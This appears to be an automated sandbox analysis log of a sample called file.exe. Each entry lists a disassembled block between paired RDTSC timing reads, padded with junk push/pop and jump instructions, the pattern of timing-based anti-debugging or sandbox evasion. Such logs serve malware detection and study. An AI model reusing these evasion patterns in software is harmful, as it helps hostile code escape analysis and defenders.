Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135188E second address: 13518C4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F60C078F3D6h 0x00000008 jmp 00007F60C078F3E2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F60C078F3E6h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13518C4 second address: 13518D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F47641h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310C81 second address: 1310D14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007F60C078F3E9h 0x00000012 sub dword ptr [ebp+1246850Dh], edx 0x00000018 pop edi 0x00000019 lea eax, dword ptr [ebp+12486A38h] 0x0000001f push 00000000h 0x00000021 push eax 0x00000022 call 00007F60C078F3D8h 0x00000027 pop eax 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c add dword ptr [esp+04h], 00000014h 0x00000034 inc eax 0x00000035 push eax 0x00000036 ret 0x00000037 pop eax 0x00000038 ret 0x00000039 jmp 00007F60C078F3E4h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F60C078F3E8h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310D14 second address: 1310D1A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13111A5 second address: 13111AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311415 second address: 131141A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131141A second address: 1311424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F60C078F3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311424 second address: 1311441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F60C0F47641h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311441 second address: 1311461 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F60C078F3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F60C078F3E4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311F2E second address: 1311F32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311F32 second address: 1311F38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311F38 second address: 1311FD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F47646h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F60C0F47638h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 call 00007F60C0F47648h 0x00000029 jno 00007F60C0F4763Ch 0x0000002f pop ecx 0x00000030 mov di, BFB0h 0x00000034 lea eax, dword ptr [ebp+12486A38h] 0x0000003a push 00000000h 0x0000003c push esi 0x0000003d call 00007F60C0F47638h 0x00000042 pop esi 0x00000043 mov dword ptr [esp+04h], esi 0x00000047 add dword ptr [esp+04h], 00000017h 0x0000004f inc esi 0x00000050 push esi 0x00000051 ret 0x00000052 pop esi 0x00000053 ret 0x00000054 mov edx, dword ptr [ebp+122D3814h] 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F60C0F4763Dh 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311FD8 second address: 12F9EF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sub ch, FFFFFFB2h 0x0000000f call dword ptr [ebp+122D2120h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F60C078F3E3h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F9EF2 second address: 12F9EFD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007F60C0F47636h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1351BB6 second address: 1351BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1351BBA second address: 1351BC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1351BC0 second address: 1351BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b js 00007F60C078F3D6h 0x00000011 popad 0x00000012 push ecx 0x00000013 pushad 0x00000014 popad 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 je 00007F60C078F3D6h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1351E92 second address: 1351ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C0F47649h 0x00000009 jnp 00007F60C0F47636h 0x0000000f popad 0x00000010 jp 00007F60C0F4763Eh 0x00000016 pop edx 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1351ECC second address: 1351ED6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F60C078F3D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135204A second address: 1352050 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1352050 second address: 1352059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135247E second address: 1352484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1352484 second address: 135248A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135248A second address: 135249E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135249E second address: 13524A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13525C6 second address: 13525CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13525CE second address: 13525D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135ACEF second address: 135AD01 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F60C0F47636h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135AD01 second address: 135AD05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135AD05 second address: 135AD0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135AD0B second address: 135AD4C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 jl 00007F60C078F3E9h 0x0000000c jno 00007F60C078F3D6h 0x00000012 jmp 00007F60C078F3DDh 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a jl 00007F60C078F3ECh 0x00000020 pushad 0x00000021 popad 0x00000022 jmp 00007F60C078F3E4h 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135AD4C second address: 135AD58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F60C0F47636h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135AFD4 second address: 135AFE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F60C078F3E0h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135B144 second address: 135B14E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135B14E second address: 135B17C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jo 00007F60C078F3E2h 0x0000000b jg 00007F60C078F3D6h 0x00000011 jno 00007F60C078F3D6h 0x00000017 jl 00007F60C078F3DCh 0x0000001d jno 00007F60C078F3D6h 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jnp 00007F60C078F3D6h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135B17C second address: 135B18C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F60C0F4763Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135B54C second address: 135B563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F60C078F3DAh 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135B563 second address: 135B567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135B567 second address: 135B592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F60C078F3E9h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135B592 second address: 135B596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135BCB7 second address: 135BCD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E7h 0x00000007 jl 00007F60C078F3D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135BCD8 second address: 135BCEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C0F47640h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135BCEE second address: 135BCF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135EB70 second address: 135EB74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135EB74 second address: 135EB81 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ecx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135E8BD second address: 135E8E7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F60C0F47636h 0x00000008 jmp 00007F60C0F47640h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F60C0F47640h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361B3B second address: 1361B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C078F3E0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361B51 second address: 1361B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361B5B second address: 1361B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push ecx 0x00000007 push ebx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C53DC second address: 12C5404 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F60C0F4763Ch 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F60C0F47643h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1365FD0 second address: 1365FD6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1365FD6 second address: 1365FDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1366144 second address: 1366148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1366148 second address: 136615B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C0F4763Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136655D second address: 1366561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1366561 second address: 136656B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136656B second address: 136657F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C078F3E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C27A second address: 136C27E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C27E second address: 136C289 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C289 second address: 136C296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C296 second address: 136C2A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C2A9 second address: 136C2C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F47646h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C433 second address: 136C439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C439 second address: 136C43D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C43D second address: 136C456 instructions: 0x00000000 rdtsc 0x00000002 js 00007F60C078F3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F60C078F3DBh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13119F5 second address: 13119FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311A9E second address: 1311AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311AA5 second address: 1311AAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D6D2 second address: 136D702 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3DFh 0x00000007 js 00007F60C078F3D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push ebx 0x00000011 jmp 00007F60C078F3E0h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371950 second address: 1371956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378893 second address: 137889D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137889D second address: 13788A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378BBB second address: 1378BC0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1379A78 second address: 1379A8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F4763Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1379A8B second address: 1379A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1379D93 second address: 1379D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1379D99 second address: 1379D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A08B second address: 137A097 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A2FD second address: 137A31D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F60C078F3E8h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A31D second address: 137A32C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F60C0F47636h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A32C second address: 137A342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C078F3E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D725 second address: 137D73B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F4763Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D73B second address: 137D75C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C078F3E9h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D75C second address: 137D766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137DD47 second address: 137DD61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137DEBD second address: 137DEC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389345 second address: 1389354 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F60C078F3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389354 second address: 138935A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138935A second address: 138935F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138935F second address: 1389376 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F60C0F47642h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389376 second address: 1389385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jp 00007F60C078F3D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389AE9 second address: 1389B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C0F47649h 0x00000009 jmp 00007F60C0F47645h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
